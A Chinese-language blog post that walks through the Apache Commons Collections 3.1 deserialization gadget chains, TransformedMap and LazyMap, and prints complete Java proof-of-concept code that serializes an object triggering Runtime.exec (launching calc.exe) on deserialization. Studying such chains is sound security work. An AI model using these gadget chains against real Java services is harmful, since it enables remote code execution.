apache-commons-collections1反序列化链分析

apache-commons-collections1反序列化链分析

调试环境

commins-collections3.1

JDK7

漏洞分析

在InvokerTransformer类中的transform方法存在一组反射方法执行
image-20211130194550586
只要能控制参数input、iMethodName、iParamTypes和iArgs,就能调用Runtime.exec执行系统命令!iMethodName、iParamTypes和iArgs是通过构造方法赋值,很明显其值可控
image-20211130194809891
现在要让input参数可控并且为Runtime的Class对象,ConstantTransformer类的transform方法就可以返回Runtime的Class对象,只要实例化的时候传入Runtime的Class对象即可
image-20211130200113829
ChainedTransformer类的iTransformers属性为Transformer数组,其transform方法遍历调用iTransformers[i].transform方法,并且将前一次遍历执行的结果带入下一次遍历的参数中
image-20211130200356458
利用这遍历操作就可以执行到Runtime的exec方法,仔细分析分析代码应该不难理解

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class TestDemo {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\\\Windows\\\\System32\\\\calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform("ky");  //此处参数传入什么都无所谓
    }
}

TransformedMap攻击链

上面的代码是手动触发transform方法的,需要找一条非手动就能执行transform方法的链,下面一步步找

TransformedMap类的checkSetValue方法调用了transform方法
image-20211130202200952
参数valueTransformer是通过构造方法赋值的,可控
image-20211130202225256
现在就是找调用checkSetValue方法的地方了,MapEntry类的setValue方法调用了checkSetValue方法,且parent是通过构造方法获取的(下面提到的MapEntry、EntrySetIterator、EntrySet类都是AbstractInputCheckedMapDecorator类的内部类)
image-20211130202541559
往上找EntrySetIterator类的next方法实例化了MapEntry对象,EntrySetIterator类的parent值也是通过构造方法赋值的
image-20211130202656143
继续往上找,在EntrySet类的iterator方法实例化了EntrySetIterator类,其parent也是通过构造方法赋值的
image-20211130202900186
继续往上找,AbstractInputCheckedMapDecorator类的entrySet方法实例化了EntrySet对象,并且第二个参数为AbstractInputCheckedMapDecorator类本身,到这里parent这个属性的值也就确定了,就是调用entrySet方法的调用者
image-20211130203108149
这里恰好AbstractInputCheckedMapDecorator类是TransformedMap父类,可以直接让this为TransformedMap,这时候传下去的parent就是TransformedMap类了,那么调用的也就是TransformedMap类的checkSetValue方法了。

注意的一点是entrySet方法前面有个if判断,通过isSetValueChecking方法进行判断,TransformedMap类重写了isSetValueChecking方法,只要valueTransformer不为空即可返回true,这里当然是成立的
image-20211130204642130
至此,写一下上面的执行命令代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class TestDemo {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\\\Windows\\\\System32\\\\calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap hashMap = new HashMap();
        hashMap.put("1","1");
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
        Map.Entry next = (Map.Entry)transformedMap.entrySet().iterator().next();
        next.setValue("ky");
    }
}

代码中的hashMap不能为空,为空会抛出异常,具体原因没有深究

上面的代码也是手动触发setValue方法的,需要找到一个类的readObject方法,其中调用setValue方法,这样就可以在反序列化的时候触发readObject方法了,AnnotationInvocationHandler类的readObject方法就符合
image-20211130205229999
对比前面的代码,希望让var5的值为MapEntry内部类对象,var5是通过var4.next()获得的,var4是通过this.memberValues.entrySet().iterator()获得的,也就是var5是通过this.memberValues.entrySet().iterator().next()获得的,那么让this.memberValues为TransformedMap对象即可

this.memberValues通过构造方法赋值,实例化的时候传入TransformedMap对象即可,this.type也是通过构造方法赋值
image-20211130210313907
网上师傅们的POC中this.type都是传入Retention注解的,这里也用这个注解,调试一下,发现经过AnnotationType.getInstance(this.type)对var2赋值后,var2的值为AnnotationType注解,这个注解的memberTypes属性为HashMap,HashMap存在键值对value->java.lang.annotation.RetentionPolicy
image-20211130211025744
var3的值是通过memberTypes方法获取的,跟进一下这个方法就是返回this.memberTypes的,那么根据前面的分析,var3就是HashMap了,且存在键值对value->java.lang.annotation.RetentionPolicy
image-20211130211136759
有一个if判断要让var7不为空才能调用setValue方法,var7是通过var3.get(var6)获取的,前面已经看到了var3只有value这一个键,所以要让var7不为空就需要让var6的值为字符串value
image-20211130211610043
var6通过var5.getKey()方法获得,var5就是前面代码中传入的HashMap,所以等会构造POC的时候要让HashMap有一个以value为键的键值对。

下面就是构造POC了,只需要实例化一个AnnotationInvocationHandler对象,并传入Retention注解和TransformedMap即可,但是AnnotationInvocationHandler对象使用默认修饰符,在java中就是同包可以访问,所以下面利用反射实例化这个对象

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class TestDemo {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\\\Windows\\\\System32\\\\calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap hashMap = new HashMap();
        hashMap.put("value","ky");
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
        //Map.Entry next = (Map.Entry)transformedMap.entrySet().iterator().next();
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con = clazz.getDeclaredConstructor(Class.class, Map.class);
        con.setAccessible(true);
        Object o = con.newInstance(Retention.class, transformedMap);
        ByteArrayOutputStream bo = new ByteArrayOutputStream();
        ObjectOutputStream oo = new ObjectOutputStream(bo);
        oo.writeObject(o);
        oo.flush();
        oo.close();
        ByteArrayInputStream bi = new ByteArrayInputStream(bo.toByteArray());
        ObjectInputStream oi = new ObjectInputStream(bi);
        oi.readObject();
    }
}

以上就是完整的一个TransformedMap攻击链了,下面分析LazyMap攻击链,相对来说LazyMap攻击链比较简单

LazyMap攻击链

跟TransformedMap攻击链相同的,要找调用transform方法的地方,LazyMap类的get方法就调用了transform方法。factory属性通过构造方法赋值,可控,构造方法是protect的,可以通过decorate方法创建,跟前面的一样的
image-20211130212943893
没有哪个类的readObject方法调用了get方法,就需要采取 迂回 措施了,TiedMapEntry类的getValue方法调用了get方法,TiedMapEntry类的toString方法调用了getValue方法,map是构造方法赋值的,只需要让map为LazyMap即可
image-20211130213746713
终于有一个类的readObject方法调用了toString方法了,它就是BadAttributeValueExpException类
image-20211130214304319
valObj是通过gf.get获取的,获取的其实就是BadAttributeValueExpException类的val属性,这个属性是私有的,可以通过反射对其设值,让其指向TiedMapEntry类即可,这样攻击链就完成了,下面是完整的执行系统命令代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Demo02 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\\\Windows\\\\System32\\\\calc.exe"})
        };
        HashMap hashMap = new HashMap();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry ky = new TiedMapEntry(lazyMap, "ky");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,ky);
        ByteArrayOutputStream bo = new ByteArrayOutputStream();
        ObjectOutputStream oo = new ObjectOutputStream(bo);
        oo.writeObject(badAttributeValueExpException);
        oo.flush();
        oo.close();
        ByteArrayInputStream bi = new ByteArrayInputStream(bo.toByteArray());
        ObjectInputStream oi = new ObjectInputStream(bi);
        Object o = (Object) oi.readObject();
    }
}

细节注意的地方,LazyMap类的get方法,有个if判断,如果实例化时传入的HashMap存在指定的键时,就调用不了transform方法
image-20211130215308380
通过分析,这个指定的键为实例化TiedMapEntry对象时传入的第二个参数,分析分析代码就能知道
image-20211130215356858

总结

相对来说LazyMap攻击链比TransformedMap攻击链简单,这也是自URLDNS后的第二条链,加油加油

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值